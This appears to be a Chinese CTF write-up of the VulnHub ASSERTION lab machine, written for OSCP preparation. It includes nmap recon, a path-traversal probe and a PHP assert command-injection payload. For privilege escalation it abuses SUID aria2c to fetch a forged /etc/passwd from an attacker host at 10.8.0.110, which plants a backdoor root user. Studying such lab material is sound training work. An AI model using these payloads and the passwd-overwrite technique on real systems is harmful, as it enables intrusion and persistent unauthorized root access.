靶场实战(17):OSCP备考之VulnHub ASSERTION

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid

1、资产发现

1.1、主机发现

本次靶场ASSERTION[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.99 -n -Pn -p- --reason -sV -sC -O发现主机开放的端口、提供的服务、使用的组件、组件的版本。

376320d7f37a370f851477c905e2a4e3.png

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

7.6p1

80/tcp

http

Apache httpd

2.4.29

-

os

Ubuntu Linux

?

2、漏洞发现(获取权限)

2.1、80端口/HTTP服务

2.1.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.未发现Web中间件Apache httpd 2.4.29的Nday漏洞。

eb082bdec382dec401cfeab48fe31bda.png

0x02、Web框架

使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。

43ef6270d93ba1e1ed678cffc17afac6.png

2.1.2、URL漏洞

0x01、直接访问

浏览器打开http://172.16.33.99/,是个健身网站。虽然导航栏有多个地址,但内容都是相同的。

260d33692733e9b30954e3ce4fb7241f.png

网站中的表单只有前端样式,没有后端交互,不会存在SQLi、XSS等漏洞。

036fe817fd07aaaee0a763cd38212751.png

网站的/index.php页面存在参数?page=contact,可能存在路径遍历或文件包含漏洞,轻则造成任意文件读取,重则造成远程代码执行。使用Payload?page=../../../../../etc/passwd进行探测,发现被拦截了,看来得绕过或用其它Payload。

782b038cf1f8c9cf50e56af745ac3b62.png

67cd3fa520fade624a21dc689c62da30.png

逐个尝试HackTricks[2]中的绕过方法和其它Payload,发现assert这里描述的情况和靶机很像,使用Payload' and die(system("whoami")) or '发现可以成功执行,看来存在远程代码执行漏洞。

cedfceedc8582a95415a0deed954c99b.png

47dffc641be3db7f6f18673e5a359df4.png

但是构造反弹shell时却失败,BurpSuite抓包查看原来是Payload中的&被当成了参数连接符,需要先进行编码。使用BurpSuite的Decoder对Payload进行URL编码,最终成功拿到www-data用户的权限。

bae815335622ab92b5e0d8c051519a94.png

832212e5de5b2464232fce1ace2064f4.png

3157bd9343216b8c2afddd35a75b4995.png

408ef07b1a9ae9d495ff6231220009a1.png

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.99/ -x 403未发现有价值的目录或文件,换一个字典,使用命令gobuster dir -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt仍然无有价值的发现。

b2656ae1e441876191a10ac7607387a8.png

c885e09a78e15fab4cafcbef860cf45e.png

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议

尝试HTTPS协议,浏览器访问https://172.16.33.99:80/无法打开,看来网站没用SSL。

64bc0b42980db15421541362d976c69f.png

3、提升权限

3.1、www-data用户

3.1.1、sudo

使用命令which pythonwhich python3发现靶机上两个Python命令都有,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式shell。

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,结果因为没有当前用户的密码,所以无法查看。

49b08602bf864635904ebb641cd41d71.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。

逐个在GTFOBins[3]查询能否用于提权,发现/usr/bin/aria2c命令在允许默认的sh shell以suid权限运行的系统中可以用于提权。测试一下EXP,结果提权失败。

2ce1ef64ecced235dfd8678932f4e855.png

302ba147b53e6e9f5864dc5874834ef8.png

83cb5f5e1d80474adef59e055a6f9046.png

e4badb68ef3b2f306eb815f631e319a6.png

查阅资料得知aria2c是文件下载工具,提权EXP的原理是构造下载报错从而以命令属主root的权限触发报错状态指向的提权代码,进而获得命令属组root的权限。虽然靶机系统不允许默认的sh shell以suid权限运行,所以EXP提权失败,但是我们能否以命令属组root的权限下载一份我们植入了特权用户和密码的/etc/passwd文件,通过覆盖旧的/etc/passwd文件完成特权用户添加,从而获得提权呢?

在靶机上使用命令cat /etc/passwd打印/etc/passwd文件内容后copy下来,在本地使用命令openssl passwd -6 -salt salt password获得密码password的加盐哈希格式,并使用命令vim passwd将密码与刚才获取到的/etc/passwd文件合并,起个用户名hacker。最后使用命令python3 -m http.server开启HTTP服务,提供给靶机下载该passwd文件。

e849914cd9cbdcb079d50e9c0687b300.png

b0f188ba19c0a34ebeafed4e29513f91.png

在靶机上进入/etc目录后,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd下载passwd文件,结果因为/etc/passwd文件已经存在所以被保存成了/etc/passwd.1文件,这不行呀。

查阅文档aria2c[4]发现可以使用参数--allow-overwrite [true|false]强制覆盖,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd --allow-overwrite=true下载并成功利用root用户的权限覆盖了旧的/etc/passwd文件,变相向/etc/passwd文件中添加了后门特权用户。

314a4d35cbfea4a853768da4657a0001.png

8fd5279f877d581f86bb0484182dbe23.png

b0a620f10444577e716118b3aac531a6.png

但是使用命令ssh hacker@172.16.33.99和密码password一直无法登录,在反复检查openssl命令和passwd文件没有错误后,猜测是SSH服务配置了特权用户禁止密码远程登录,所以尝试使用命令su hacker和密码password切换到hacker用户,最终成功拿到root权限。

bd059c289af09dabca5c847c973d122a.png

9d9a4f906964de8fb7a562d23d8bab3d.png

参考资料

[1]

ASSERTION: https://www.vulnhub.com/entry/assertion-101,495/

[2]

HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert

[3]

GTFOBins: https://gtfobins.github.io

[4]

aria2c: https://aria2.github.io/manual/en/html/aria2c.html#advanced-options

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值